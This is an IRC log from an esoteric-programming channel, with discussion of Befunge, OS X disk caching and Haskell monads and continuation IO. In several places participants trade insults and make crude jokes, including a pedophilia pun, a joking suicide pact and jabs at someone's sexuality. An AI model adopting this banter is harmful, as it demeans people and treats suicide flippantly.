19:37:21 -!- zzo38 has quit (Read error: 104 (Connection reset by peer)).
19:45:16 <Deewiant> mtve: Got any more of the Befunge mailing list, by any chance?
19:49:59 -!- augur has joined.
20:21:15 <fizzie> Your two questions, in that order; yes, cfunge; no, unfortunately not jitfunge.
20:21:46 <fizzie> (Haven't really been doing anything esoteric lately.)
20:24:42 <AnMaster> how does one implement value range propagation
20:24:59 <AnMaster> I can see manually that a cell can be either 0 or 1 at one point
20:25:14 <AnMaster> but I have no idea how to implement a good propagation pass for it
20:46:57 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
21:00:08 -!- mtve has quit (Read error: 104 (Connection reset by peer)).
21:13:13 <ehird> 01:52 GregorR: http://www.youtube.com/watch?v=JGAMppuXf7U // hilarious and extremely NSFW
21:13:56 <ehird> 02:14 GregorR: ais523: How can you ask how calc works when the source is RIGHT THERE :P
21:14:04 <ehird> ais prefers bugging people over research
21:15:21 <GregorR> ... are we talking about the same ais? :P
21:16:13 -!- Slereah has quit (hubbard.freenode.net irc.freenode.net).
21:16:40 -!- Slereah has joined.
21:17:28 <ehird> 02:51 ais523: is vixen an Eliza-alike?
21:17:47 <ehird> 03:41 pikhq: ... That's actually kinda impressive. And damned spiffy.
21:17:53 <ehird> (n+k) patterns only work for a positive k
21:17:59 <GregorR> @vixen i want to tease ur clothes right off
21:18:00 <ehird> and you can't do (n-k)
21:18:06 <ehird> or even (n+(-k)) as I said
21:18:12 <ehird> they're a hopelessly hacky special case
21:19:36 -!- Slereah has quit (hubbard.freenode.net irc.freenode.net).
21:22:21 -!- Slereah has joined.
21:26:26 <GregorR> http://www.qwantz.com/index.php?comic=1144 // narrator vs character comics :P
21:28:19 <ehird> 21:15 GregorR: ... are we talking about the same ais? :P ← yes, he refuses to google for things and when I google for him and link to a relevant page he refuses to click it because he hates the web
21:28:50 <Slereah> Then what is he doing on it?
21:29:03 <ehird> This is on the internet, not the web..........
21:29:48 <Slereah> But the esolang wiki is on the web
21:47:31 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
21:47:43 -!- pikhq has joined.
21:57:13 * ehird attempts to increase his mac's in-RAM disk cache size
21:57:19 <ehird> It's seeking like there's no tomorrow...
21:59:31 <ehird> having 1.13gb out of 2.5gb unused when it could be caching disk is irritating
22:03:41 <ehird> OS X sure is nice ... when you have beefy hardware to run it on ...
22:04:41 <ehird> Object cache: 8303 hits of 33586 lookups (24% hit rate)
22:04:45 <ehird> that's pretty bad...
22:07:33 * ehird can't find anything about the disk cache :-(
22:10:36 <ehird> maybe I'll mount /tmp and the like in ram
22:12:16 <ehird> /tmp + /Library/Caches + /var/tmp = 13.7MB, so I could mount them in ram just fine
22:12:27 <ehird> the question is how
22:13:38 <ehird> This file does nothing, contains no useful data, and might go away in
22:13:39 <ehird> future releases. Do not depend on this file or its contents.
22:13:43 <ehird> bsmntbombdood: but i like os x.
22:13:57 <ehird> it just sucks at managing mechanical disks.
22:15:04 <pikhq> ... Wow, that's really kinda dumb.
22:15:17 <ehird> the /etc/fstab.hd thing? it'll just be a legacy file
22:15:22 <pikhq> Sucking at managing mechanical disks.
22:15:39 <ehird> well it doesn't really suck, it's prolly about the same as linux or only a little worse
22:15:46 <ehird> i don't think anything's good at managing mechanical disks
22:16:01 <pikhq> How familiar are you with LVM?
22:16:05 <ehird> because you have the weird-ass, meaningless variable of how_far_away_data_is_from_the_head
22:16:10 <ehird> pikhq: I don't mean like that
22:16:16 <ehird> I mean like sequencing IO operations, caching it, etc
22:16:41 <pikhq> Yeah, Linux is probably the best at it, but that doesn't make it all that good.
22:16:46 <ehird> it's not a huge deal because if I wanted this machine to go really fast i'd stick an SSD in it
22:17:09 <pikhq> Oh, 13 year olds with expendable cash.
22:17:39 <ehird> pikhq: unfortunately not.
22:18:18 <ehird> if it wasn't for those pesky child labour laws i'd be working my ass off to have more gadgety prospects :)
22:18:53 <pikhq> Oh, those damnable child labour laws.
22:19:32 <ehird> insane, n. "We had the same problem and decided to disable the (disk-)cache of Safari because with today's fast internet connections it is not necessary anymore."
22:19:42 <ehird> Yeah, internet connections are totally as fat as disks and caches.
22:20:20 <ehird> % du -sh ~/Library/Caches [ this still hasn't terminated yet, so i fear it will be far too big for ram ]
22:22:09 <ehird> % du -sh ~/Library/Caches
22:22:09 <ehird> 2.2G/Users/ehird/Library/Caches
22:22:29 <pikhq> That's rather silly.
22:22:33 <ehird> bsmntbombdood: can I run a fibre-optic cable to your house and use a gig or two of your ram?
22:22:38 <ehird> pikhq: the 2.2g thing?
22:22:42 <ehird> eh, it has my entire browser cache
22:22:59 <bsmntbombdood> ehird: i thought you were buying a better computer
22:23:02 <ehird> bsmntbombdood: fuck you :(
22:37:54 <AnMaster> ehird, over the Atlantic? The delay would be very noticeable.
22:38:08 <ehird> nothing can be slower than mechanical disks :P
22:38:25 <AnMaster> ehird, if so, reduce cache size
22:38:40 <AnMaster> so it downloads from internet instead every time
22:38:55 <AnMaster> you asserted it would be faster just above :P
22:39:03 <ehird> AnMaster: "insane, n."
22:39:10 <ehird> 22:19 ehird: insane, n. "We had the same problem and decided to disable the (disk-)cache of Safari because with today's fast internet connections it is not necessary anymore."
22:39:10 <ehird> 22:19 ehird: Yeah, internet connections are totally as fat as disks and caches.
22:39:14 <ehird> Even the quote didn't say it'd be faster.
22:39:37 <AnMaster> <ehird> nothing can be slower than mechanical disks :P
22:40:17 <AnMaster> ehird, anyway, totally disabling cache isn't a good idea, web server owners will hate you. So will your ISP
22:40:27 <ehird> I CALLED THE PERSON SAYING IT INSANE
22:40:27 <AnMaster> I have my cache set to something like 100 MB or so.
22:40:32 <ehird> WHY DO YOU THINK I AGREE WITH THEM
22:40:42 <AnMaster> ehird, "<ehird> nothing can be slower than mechanical disks :P" ;P
22:45:11 <ehird> 22:40 AnMaster: ehird, anyway, totally disabling cache isn't a good idea, web server owners will hate you. So will your ISP
22:45:21 <ehird> Or before there, apart from in
22:45:23 <ehird> 22:38 AnMaster: you asserted it would be faster just above :P
22:45:26 <ehird> 22:40 AnMaster: ehird, anyway, totally disabling cache isn't a good idea, web server owners will hate you. So will your ISP
22:45:31 <ehird> appeared to be a serious clarification
22:46:08 <AnMaster> ehird, the 22:40 one was serious yes.
22:46:26 <ehird> The 22:40 one is what I am talking about, and why was it serious?
22:46:28 <ehird> I clearly did not agree.
22:46:49 <AnMaster> ehird, I wasn't totally sure you weren't serious
22:47:07 <ehird> 22:19 ehird: insane, n. "We had the same problem and decided to disable the (disk-)cache of Safari because with today's fast internet connections it is not necessary anymore."
22:47:07 <ehird> 22:19 ehird: Yeah, internet connections are totally as fat as disks and caches.
22:47:10 <ehird> insane, n. "stuff"
22:47:13 <ehird> is clearly calling "stuff" insan
22:47:18 <ehird> I don't get how you don't understand this?
22:55:28 <bsmntbombdood> i wonder what the hit rate on a squid type proxy in a single household is
23:01:40 <pikhq> @hoogle State a -> a
23:01:41 <lambdabot> Did you mean: State a a -> a /count=20
23:01:51 <pikhq> @hoogle State aa -> a
23:01:55 <lambdabot> Did you mean: State aa aa -> a /count=20
23:01:57 <pikhq> @hoogle State a a -> a
23:01:59 <lambdabot> Unsafe.Coerce unsafeCoerce :: a -> b
23:02:03 <lambdabot> Text.Parsec.Prim stateUser :: State s u -> u
23:02:05 <lambdabot> Text.ParserCombinators.Parsec.Prim stateUser :: State s u -> u
23:02:07 <lambdabot> Text.Parsec.Prim stateInput :: State s u -> s
23:02:12 <lambdabot> forall s a. State s a -> s -> (a, s)
23:06:00 * ehird swaps Capslock and Control in a few clicks in System Preferences, gloats at non-OS X users
23:06:14 <ehird> lol now pressing control turns my capslock light on
23:06:59 <SimonRC> that thing's memory-mapped you know
23:07:04 <ehird> SimonRC: the light is on the capslock key, though
23:07:15 <ehird> it wouldn't be if it were above the numpad like a lot of kbs
23:07:17 <SimonRC> true, though still makes sense
23:07:37 <ehird> my capslock has a dip on the right side of it that's still part of the key so this remapping isn't very comfortable
23:08:53 <ehird> SimonRC: capping keys of this keyboard is rather hard
23:09:03 <ehird> as it has no border around the keys and they're solidly put in
23:09:07 <ehird> i can take off the arrow keys and control
23:09:13 <ehird> oh, and only the left and right arrow keys
23:13:32 <ehird> SimonRC: i wonder if i could utilize its memory-mappedness to make it blink according to a beat
23:13:42 <ehird> there was a winamp plugin that did that with numlock/capslock/scrollock(?), iirc
23:14:11 <SimonRC> I remember writing QBASIC programs that manipulated the lights
23:14:30 <ehird> would be a pain to convince the os to give me access to them; can even root do that?
23:14:31 <SimonRC> tow of them are in one place, and one of them is somewhere nearby, but I forget the detaiols
23:15:58 <SimonRC> the keys are right next to each other!
23:16:12 <ehird> SimonRC: you forgot "like", man.
23:16:18 <ehird> that's, like, unforgivable, man.
23:16:19 <SimonRC> it's not as good as "Wikipedoia" though
23:16:29 <ehird> more like wikipedophillia am i rite.
23:16:54 <SimonRC> "little children make me scared ... of myself"
23:24:17 -!- Pthing has joined.
23:24:46 <fizzie> We had a qbasic game which involved pressing the space bar as rapidly as possible, with "score" indicated by the keyboard leds; this was used in the school computer class where there was a switch in the teacher's box which made all the monitors mirror his/hers; obviously we needed something to do during those times that didn't need a screen.
23:25:13 <ehird> Hello Pthing. Are you a thing or a pthing?
23:25:18 <ehird> Also, who art thoust.
23:25:31 <augur> http://esolangs.org/wiki/MONOD
23:25:32 <ehird> Oh, not *another* one.
23:25:42 <ehird> We have like 3 of them now.
23:25:42 <SimonRC> bah, they took away all the good programming languages
23:25:58 <pikhq> Okay, so, did someone mention #esoteric somewhere? :P
23:26:12 <ehird> augur, #isharia, Pthing.
23:26:17 <augur> pikhq: i told pthing to come here.
23:26:20 <ehird> Also Slereah is from there.
23:26:20 <augur> since he did http://esolangs.org/wiki/MONOD
23:26:23 <ehird> Hey wasn't SimonRC there?
23:26:36 <ehird> Although SimonRC has been here for all eternity.
23:27:04 <augur> hey, atleast slereah and pthing actually have esolangs
23:27:09 <augur> ive not even completed one XP
23:27:28 <augur> never any good ideas!
23:27:31 <ehird> augur is just here so I can make terrible jokes vaguely related to him being in gay every now and then.
23:27:37 <ehird> Also to hit on oklopol.
23:27:48 <augur> but then, ehird is here to act 13.
23:28:03 <ehird> Not until I turn 14.
23:28:25 <ehird> Nomod now with more nomads
23:28:46 <augur> comonods and conomods to go with your comonads and conomads
23:29:18 <Pthing> well i guess the problem is that i just made it up as i went along and kinda stole ideas from biology and simplified them
23:29:35 <Pthing> so I don't have a clue how you can classify or p. much do anything
23:29:42 <ehird> class Nomad n where terurn :: n a -> a; (=>>) :: a -> (n a -> b) -> n b
23:29:45 <ehird> THE NOAR YOU MOW!!!
23:30:13 <pikhq> Needs more monads.
23:30:27 <ehird> I was trying to make it a bizarro comonad.
23:31:16 <ehird> Gracenotes: no, it's identical
23:31:22 <ehird> http://www.eyrie.org/~zednenem/2004/hsce/Control.Comonad.html
23:31:24 <ehird> extract :: w a -> a
23:31:28 <ehird> extend :: (w a -> b) -> w a -> w b
23:31:51 <ehird> now I have to figure out a use.
23:31:57 <augur> what eactly is a comonad, anyway
23:32:03 <ehird> augur: the opposite of a monad.
23:32:18 <Gracenotes> but if you use an 'a' instead of a 'w a', there isn't much context
23:32:22 <ehird> augur: lern2haskell
23:32:23 <SimonRC> instead of it being hard to get things out, it's ahrd to get things in
23:32:24 <Asztal> augur: the dual of a comonad
23:32:38 <ehird> my Nomad is just a trivial reversal of Monad :P
23:32:46 <SimonRC> also, some things can be expressed as monads or comonads
23:32:47 <Gracenotes> because in all cases you'd use a default context, which is useless
23:32:50 <augur> hard things going in and out
23:33:07 <ehird> Please make all jokes augur-gayness-appropriate.
23:33:25 <Gracenotes> hey, I don't ask you to make jokes gracenotes-gayness-appropriate
23:33:32 * ehird attempts to write 'instance Nomad Tidendity'
23:33:34 <Gracenotes> btw http://en.wikipedia.org/wiki/Nomad_(disambiguation)#Other_uses
23:33:43 <ehird> Gracenotes: but you're not augur, so there.
23:34:04 <augur> Gracenotes: did you add that? XD
23:34:19 <ehird> No, a /prog/lodyte.
23:34:46 <Asztal> http://en.wikipedia.org/w/index.php?title=Nomad_%28disambiguation%29&diff=248980440&oldid=238174700
23:35:01 <Asztal> ^ Someone went and cleaned up the whole thing, but didn't see Nomad vs. Monad :)
23:35:14 <Asztal> I guess it's not that obvious, though.
23:35:15 <augur> well its a good thing to have!
23:36:16 -!- BeholdMyGlory has joined.
23:36:29 <ehird> @src Identity (>>=)
23:36:32 <ehird> @src Identity return
23:36:45 <lambdabot> Source not found. My mind is going. I can feel it.
23:37:00 <lambdabot> newtype Identity a = Identity { runIdentity :: a }
23:37:12 <ehird> data Tidendity a = Tidendity a
23:37:12 <ehird> instance Nomad Tidendity where
23:37:13 <ehird> terurn (Tidendity a) = a
23:37:15 <ehird> nibd a f = Tidendity $ f (Tidendity a)
23:37:17 <ehird> i'm fairly sure that's the corresponding nomad
23:37:32 <ehird> runIdentity's equivalent being, I think, the constructor Tidendity
23:38:58 <augur> ehird, why is it hard to get a value out of a monad?
23:39:04 <ehird> augur: because there's no function for it.
23:39:47 <Asztal> that's for one specific monad though
23:39:52 <Asztal> there's no general way
23:40:03 <augur> i dont mean in general tho
23:40:04 <Asztal> whereas with Comonad there's "extract a"
23:40:22 <Asztal> IO doesn't let you get the value out of it, because its constructors are hidden
23:40:23 <ehird> augur: write a function (IO a -> a) like that
23:40:45 <bsmntbombdood> why does load average skyrocket when writing to a disk
23:40:49 <augur> i mean, if you _can_ do that, i dont see what monads really do, other than act as wrappers
23:40:58 <ehird> bsmntbombdood: encryption
23:41:01 <augur> completely open wrappers
23:41:09 <ehird> bsmntbombdood: also maybe raid if you have that going on
23:41:15 <SimonRC> they make some maniputaions easier
23:41:24 <SimonRC> they allow code to be generic over the monad
23:41:34 <ehird> augur: they're not wrappers
23:41:37 <ehird> nobody says they have to contain values
23:41:54 <augur> whats a monad that doesnt contain a value
23:42:09 <ehird> augur: you evidently don't understand anything about monads, ...
23:42:13 <SimonRC> well, it is parameterised over the value in some other way
23:42:15 <augur> ehird: not really.
23:42:19 <augur> which is why i dont get it
23:42:33 <augur> every description of monads ive seen
23:42:37 <SimonRC> (though Parsec doesn't need to be a full monad really)
23:42:52 <augur> SPACESUITS AND SPACESTATIONS
23:43:03 -!- Judofyr has quit (Remote closed the connection).
23:43:14 <augur> and i dont get how that makes them interesting at all.
23:43:21 <SimonRC> that is just trying to build an intuation for the types and for the operations that make sense
23:43:30 <Asztal> the important part is how >>= and return work.
23:43:41 <ehird> augur measures everything's value on how interesting or weird it seems to him at first sight.
23:43:47 <augur> not that i get how flatmap can work on non-lists but
23:44:00 <augur> thats not what im saying at all
23:44:09 <augur> im just saying that i dont get what monads are
23:44:16 <ehird> that much is obvious
23:44:33 <augur> because every explanation ive seen of them makes them look like data containers.
23:44:57 <augur> even the definitions for what makes a monad a monad, requiring return and bind as _the_ defining characteristics
23:45:09 <ehird> analogies are not helpful for understanding monads. learn all their constituents first then read the definition.
23:45:18 <augur> WHAT constituents!
23:45:42 <Asztal> the IO monad isn't a container, though: (>>=) :: IO a -> (a -> IO b) -> IO b
23:45:55 <Asztal> it chain an action and a decision on what to do with the result of that action
23:45:56 <augur> the IO monad is a pseudo container
23:46:11 <ehird> no, augur, you are wrong
23:46:13 <ehird> it is not a container
23:46:28 <augur> what is the a in IO a
23:46:49 <augur> what has that type in an IO monad
23:46:58 <augur> IF ITS A TYPE, WHATS THE INSTANCE
23:47:06 <ehird> you're severely misunderstanding something fundamental
23:47:19 <ehird> may i recommend you learn haskell before trying to understand monads?
23:47:35 <augur> i know haskell-minus-monads, pretty much.
23:47:46 <SimonRC> (in terms of continuation-cased pure IO, it is the type of the parameter of the continuation, for example)
23:47:50 <augur> not the nuances, perhaps. but enough.
23:47:51 <ehird> evidently not, augur
23:47:58 <ehird> if you knew haskell without monads properly, this would be trivial
23:48:05 <augur> ehird, you're an idiot
23:48:06 <ehird> your confusion about "instantiating" types in "containers" shows this
23:48:29 <Asztal> 'IO a' can be though of as an action, where the 'a' is the result type of the action
23:48:37 <ehird> right, typical augur, asks an inflammatory question, refuses to admit he might not know certain things properly, is accusatory and annoying, refuses to listen
23:48:39 <ehird> conversation is now terminated.
23:48:51 <augur> it was not an inflammatory question, ehird
23:49:10 <augur> your brain hasnt fully developed, its understandable why you wouldnt understand simple questions like this.
23:49:11 <ehird> yes, that much is obvious; it is also your argument whenever you disagree with me.
23:49:37 <ehird> augur: the gall of someone using "argumentum ad YOU'RE THIRTEEN LOL" accusing someone else of having an underdeveloped brain is astonishing.
23:49:37 <SimonRC> um, I thought ehird was 22?
23:49:40 <ehird> please feel free to fuck off.
23:49:48 <ehird> SimonRC: i don't recall saying that :D
23:49:55 <augur> i cant understand your 13 year old language.
23:50:11 <augur> Asztal: can you elaborate further?
23:50:25 <augur> because ehird isnt explaining anything with his "lolgolurnhaskell"
23:52:05 <Asztal> I'm busy, but you can read about them here, if you like: http://book.realworldhaskell.org/read/monads.html
23:52:16 <Asztal> there's no spaceship or warm fuzzy thing analogies, IIRC
23:52:58 <SimonRC> Haskell does have a problem of sorts with this.
23:53:02 <augur> ive read that, man
23:53:27 <augur> i get what you can DO with monads, but i dont GET what they are
23:53:38 <ehird> SimonRC: it does? i was unaware. i would attribute the problem more to a type of mind; I literally never thought "monads are hard" or "i don't know what a monad is".
23:54:17 <ehird> SimonRC: at the time, oerjan accused me of learning them beforehand :)
23:54:49 <augur> ehird: its not even that i dont "know what a monad is", i just dont see how monads are different from just special kinds of this or that that already exist
23:54:52 <ehird> SimonRC: my retort: "amazing spelling fucker"
23:54:55 <SimonRC> sorry, I tend to suffer from envy in such areas
23:55:30 <ehird> SimonRC: it's ok, i've been dislodged; pikhq fully grokked monads, functors, applicatives and monoids on his fourth day of learning haskell
23:55:37 <ehird> now that was a blow to my ego :D
23:55:50 <SimonRC> is there any point to my continued existance?
23:56:00 <ehird> SimonRC: not really, let's make a suicide pact
23:56:11 <augur> i support this move
23:56:16 <augur> if simonrc isnt part of it
23:56:48 <Asztal> did you experience satori
23:57:28 <Gracenotes> I don't know, I blacked out for a few hours
23:59:21 <Gracenotes> whoa. this is an awesome owl. http://upload.wikimedia.org/wikipedia/commons/d/d2/Uhu-muc.jpg
00:01:09 <ehird> well your OWL is an awesome owl
00:04:37 <SimonRC> I suppose monads are a pattern that was spotted. You can think up these really abstract operators and laws that can apply to 1-argument types, then it turns out that implementations of these operators for many concrete types turn out to be interesting operations, so if you can define something in terms of general monads rather than specific ones, they sometimes come out as handy things in several monads.
00:04:56 <SimonRC> the general concept is really abstract
00:05:11 <augur> ok. still conveys nothing. :)
00:05:20 -!- oerjan has joined.
00:05:27 <ehird> SimonRC: Monads were stolen from category theory, I think added to Haskell after people had used them manually for like the list monad and people noticed the continuation IO interface could be represented as it.
00:05:55 <SimonRC> continuation IO is closely realted, yeah
00:06:23 <SimonRC> I am surprised none of ther other pure languages anyone has every heard of have used continuation IO
00:06:35 * oerjan had the impression IO came sort of first, but he hasn't read Moggi's work
00:07:33 <ehird> SimonRC: cuz its awkward to type.
00:07:58 <oerjan> basically iiuc Moggi discovered functional languages with side effects could be treated as mathematical functions if the side effects were encapsulated in a monad
00:08:07 <SimonRC> but do-notation could have been con-notation instead
00:08:44 <ehird> SimonRC: hmm, that would be interesting
00:08:45 <oerjan> oh the first version of haskell used continuation IO
00:08:57 <oerjan> but on top of stream IO
00:08:59 <ehird> people wrapped this into continuation IO because stream IO was fucking terrible
00:09:08 <oerjan> yes, but both were included
00:09:29 <ehird> SimonRC: so "con a; b; x <- c; d" → "a (\_ -> b (\_ -> c (\x -> d)))"?
00:09:32 <ehird> that could be interesting.
00:10:04 <ehird> SimonRC: the other Io did basically that but uglier.
00:10:05 <SimonRC> well, it's basically what let does
00:10:23 <ehird> let doesn't give a continuation :P
00:10:54 <SimonRC> and you can define IO in terms of continuations, I expect
00:11:02 <oerjan> io was a; b; c -> x; d iirc
00:11:05 <ehird> SimonRC: of course you can
00:11:24 <ehird> SimonRC: data IO a = GetChar (Char -> a) | PutStr String (() -> a)
00:11:37 <ehird> then fooBar = FooBar for all the IO functions.
00:11:40 <SimonRC> heck, the transformation could be done in a lisp macros without much trouble
00:11:41 <ehird> then just tree-walk as usual.
00:11:46 <oerjan> also in haskell that is a $ \_ -> b $ \_ -> c $ \x -> d
00:11:47 <ehird> SimonRC: yeah it'd be trivial
00:11:52 <ehird> this con is looking mighty appealin'
00:11:55 <oerjan> one of the reasons $ was included i think
00:12:20 <SimonRC> oerjan: apart from being a nice complement to ordinary application
00:14:21 <oerjan> ehird: iiuc writing IO a properly type safely as a data type of options requires GADTs which were not invented then
00:14:29 <SimonRC> It manages to make a good job of being the floor-wax of left-associativity and the dessert topping of a low-priority operator
00:15:02 <ehird> oerjan: do a; b; x <- c; d
00:15:03 <SimonRC> I thought that the various io functions could just be compiler magic functions
00:15:12 <ehird> do x <- getChar; putChar x; getChar
00:15:12 <SimonRC> like the default implementation of (+) etc
00:15:31 <ehird> oerjan: replace -> a with -> IO a
00:15:37 <ehird> GetChar (\x -> PutChar x (\_ -> GetChar (\x -> return x)))
00:15:45 <oerjan> ehird: i was about to note that
00:16:04 <pikhq> I highly doubt that you meant GetChar.
00:16:32 <oerjan> ehird: ok it works without GADTs provided none of the IO functions are polymorphic
00:16:33 <ehird> pikhq: please see the above discusison
00:16:35 <ehird> i very much meant it
00:16:46 <pikhq> Also, getChar >>= \x -> putChar x \_ -> getChar >>= \x -> return x
00:16:57 <ehird> please read the context before :P
00:17:01 <oerjan> well print but that can be defined using putStrLn
00:17:07 <pikhq> I see context now.
00:18:06 <pikhq> And yes, continuation and stream IO seem like crap.
00:18:15 <oerjan> it is likely none were originally since the same (obviously?) applies to defining stream IO
00:18:56 <oerjan> oh, the ffi probably qualifies
00:19:05 <ehird> oerjan: the ffi is magical anyway
00:19:21 <ehird> pikhq: continuation io is okay, it's basically monadic io
00:19:36 <oerjan> yes, but you could probably include it in a GADT type
00:20:37 <pikhq> Well, continuation IO is crap only because monadic IO is strictly better.
00:20:41 <ehird> oerjan: but there are infinite ffi functions...
00:20:44 <pikhq> Stream IO is eeew.
00:20:48 <ehird> it's strictly equivalent, sir.
00:20:54 <oerjan> ehird: ok you need _some_ magic
00:21:28 <pikhq> ehird: But monadic IO lets you confuse noobs by using monad operators!
00:21:34 <ehird> oerjan: we can just dictate that ffi shit is of a certain type qed so there :)
00:22:50 <oerjan> data IO a = IO (a -> IOTask) -> IOTask
00:23:08 <ehird> oerjan: you can't do that with "con" notation though
00:23:13 <ehird> since it isn't regular cps
00:23:19 <ehird> well the fooBar functions could emulate it i guess
00:23:24 <ehird> http://farm4.static.flickr.com/3550/3648775731_eafc2c9a10_b.jpg ← wow, the iphone 3g s has a nice camera
00:23:32 <ehird> bit more grainy at full size but meh
00:24:22 <SimonRC> with continuations: newtype IO a = IO ((a -> Thingy) -> Thingy), since none of those functions "really" return
00:24:25 <oerjan> there is one difference with continuation IO rather than ordinary IO: continuation IO would automatically give you the power of callCC i think
00:24:46 <ehird> SimonRC: i much prefer my definitions.
00:24:55 <ehird> oerjan: yeah, that's true
00:24:59 <ehird> con notation lets you do fun continuation shit
00:25:02 <SimonRC> ah, call/cc there was a thing I struggled with
00:25:03 <ehird> con needs a nicer name though
00:25:11 <ehird> call/cc took me a while
00:25:14 <ehird> SimonRC: you invented con; what should we call it?
00:25:14 <SimonRC> well, not much, but it was another mind-stretching thing
00:25:31 <ehird> but "con" isn't pleasing to put all over your code :p
00:25:35 <ehird> it's too implementation detaily
00:25:42 <ehird> SimonRC: maybe chain or pass
00:26:16 <SimonRC> I figured out how someone could murder me with a kitten
00:26:30 <oerjan> ehird: you know that do can be used for con by simply wrapping with Cont monad, right? :D
00:26:51 <SimonRC> you tie me up in a non-dangerous way, cover over my mouth with tape, and put a kitten in close proximity...
00:27:00 <SimonRC> my nose blocks up and I suffocate
00:27:10 <ehird> oerjan: but that's not interesting from a language designer's perspective
00:27:14 <SimonRC> and you can claim you were only trying to kidnap me not kill me
00:27:41 <oerjan> ehird: you can also do the reverse of course, i saw a blog post on that once...
00:28:05 <ehird> but I'm interested in alternatives to monads.
00:28:15 <ehird> with continuations, you can do iiiiiinteresting stuff
00:28:20 <pikhq> Trivial. Fuck purity.
00:28:21 <ehird> like defining a list as its (>>=)
00:28:41 <ehird> can concatMap work as fold?
00:29:06 <ehird> can a fold obey the monad laws?
00:29:19 <SimonRC> the list monad is for nondeterminism
00:29:34 <oerjan> the list monad is like many worlds alternatives that cannot interact...
00:29:46 <ehird> instance Monad Quantum
00:30:07 <Gracenotes> unfortunately a set monad is not so possible :( although in many cases it would be useful for nondeterminism
00:30:20 <oerjan> i recall reading that quantum computation did not fit nicely into a monad
00:30:25 <Gracenotes> although in some of those cases, not quite necessary
00:30:29 <pikhq> Alternately, it can be used for state, by having a single value in the list. (this is not a good idea.)
00:30:56 <ehird> which fold can you implement the other with?
00:31:30 <lambdabot> forall a b. (a -> b -> b) -> b -> [a] -> b
00:31:53 <ehird> type List a = List (forall b. (a -> b -> b) -> b -> b)
00:31:53 <oerjan> both ways if you only have finite lists, though
00:32:02 <SimonRC> foldr is structural recursion on lists
00:32:04 <ehird> ↑ wonder how this fits in with CPS
00:32:19 <SimonRC> the first two arguments are case-analysis on lists
00:32:55 <oerjan> ehird: i am not sure \_ -> is elegant there, why not just drop it (Io does)
00:33:08 <oerjan> and Io allows multi-argument continuations
00:33:12 <ehird> oerjan: so that both (chain x; y) and (chain foo <- x; y) works
00:33:21 <ehird> "x" is just "_ <- x"
00:33:22 <SimonRC> oerjan: I thought that >> was defined in terms of >>= in that manner
00:33:29 <ehird> i.e. "run x, with a continuation that ignores the result"
00:33:48 <ehird> do getChar; getChar; putStrLn "I ignored you there!"
00:43:46 <oerjan> hm there was this baseball match my advisor dragged me to in 1996 when we were in the US
00:43:57 <AnMaster> <oerjan> darn iwc poll <-- "never"
00:44:24 <oerjan> hm, did that count? it was probably a college match
00:44:35 <oerjan> that's not professional is it?
00:45:05 <oerjan> it is quite possible "never" is the correct answer
00:45:39 <oerjan> i don't think i've ever been to a match of the local football club, but i might have repressed it
00:45:49 <oerjan> despite them being the best club in norway
00:48:55 <oerjan> heh i was with the majority on the previous poll, i see :D
00:49:14 <oerjan> http://www.irregularwebcomic.net/
00:49:39 <Asztal> I wonder if working at a football club counts :)
00:49:45 <SimonRC> Just a *bit* dramatic lately
00:50:53 <oerjan> it got a bit too dark for my tastes
00:52:37 <SimonRC> the whole V-gets-slightly-eviller-with-power thing?
00:53:15 <SimonRC> how can any storyline with that much Xykon dialogue in it be dark? ;-)
00:53:45 <oerjan> i didn't notice any Xykon at that point
00:54:12 <oerjan> also when xykon is evil it's funny
00:54:36 <oerjan> obviously, he always _is_ evil
00:55:13 -!- FireFly has quit ("Later").
00:55:14 -!- BeholdMyGlory has quit (Remote closed the connection).
01:10:20 <SimonRC> oerjan: um, did you read the bit with the Ancient Black Dragon?
01:10:57 <oerjan> there was a black dragon, don't recall how ancient it was
01:12:31 <SimonRC> oerjan: well, assuming that it isn't as far back as the time V got turned into a lizard, ...
01:12:39 <SimonRC> things get exciting from there, and V gets pleanty of bashing over the head with Character Development
01:13:00 <SimonRC> realising that there is more to being powerful than one's spell level(s)
01:13:01 <oerjan> and the point where V killed her entire family is the point i stopped
01:13:42 <SimonRC> that's about the most nast thing V does
01:13:54 <SimonRC> the rest is just arrogant and foolish
01:16:22 <SimonRC> oh, yeah, and <spoiler>, finally! <spoiler>
01:16:48 <SimonRC> leaving page 666 of a nice end-of-book shot, maybe
01:49:12 <comex_> The re.sub(), re.subn() and re.split() functions now accept a flags parameter.
01:51:22 <comex_> http://www.python.org/dev/peps/pep-3116/
02:24:47 -!- oerjan has quit ("Good night").
03:59:00 -!- Pthing has quit (Remote closed the connection).
05:48:38 -!- MigoMipo has joined.
05:52:26 -!- MigoMipo has quit (Client Quit).
06:06:20 -!- nescience has joined.
06:08:56 -!- evenant has quit (hubbard.freenode.net irc.freenode.net).
06:08:56 -!- bsmntbombdood has quit (hubbard.freenode.net irc.freenode.net).
06:08:56 -!- Ilari has quit (hubbard.freenode.net irc.freenode.net).
06:11:24 -!- Ilari has joined.
06:25:52 -!- bsmntbombdood has joined.
07:16:59 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
07:44:19 -!- pikhq has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:27:59 -!- pikhq has quit (Read error: 54 (Connection reset by peer)).
08:44:18 -!- FireFly has joined.
08:48:46 -!- pikhq has joined.
08:56:32 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
09:03:06 -!- pikhq has joined.
09:41:08 -!- pikhq has quit (Success).
09:47:38 -!- pikhq has joined.
09:54:48 -!- KingOfKarlsruhe has joined.
10:05:54 -!- CESSMASTER has quit ("Computer has gone to sleep").
10:10:28 -!- tombom has joined.
10:14:18 -!- tombom has quit (Client Quit).
10:15:19 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
10:16:32 -!- pikhq has joined.
10:20:04 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
10:21:43 -!- pikhq has joined.
10:49:04 -!- jix has joined.
11:12:44 -!- Judofyr has joined.
11:16:11 -!- kar8nga has joined.
11:33:49 -!- BeholdMyGlory has joined.
11:34:28 -!- kar8nga has quit (Remote closed the connection).
11:50:41 <AnMaster> I was working on efunge again today. And I had an err... interesting idea. Some trivial changes to efunge could make it work like server/client... Basically: start an efunge-server (could listen on (for example) some tcp port, an unix socket file, distributed erlang nodes, ...). Then for each befunge program you want to run: ./efunge --server tcp:127.0.0.1:6543 mybefungeprogram.b98
11:51:03 <AnMaster> this could be useful for implementing some sort of "thin befunge client"
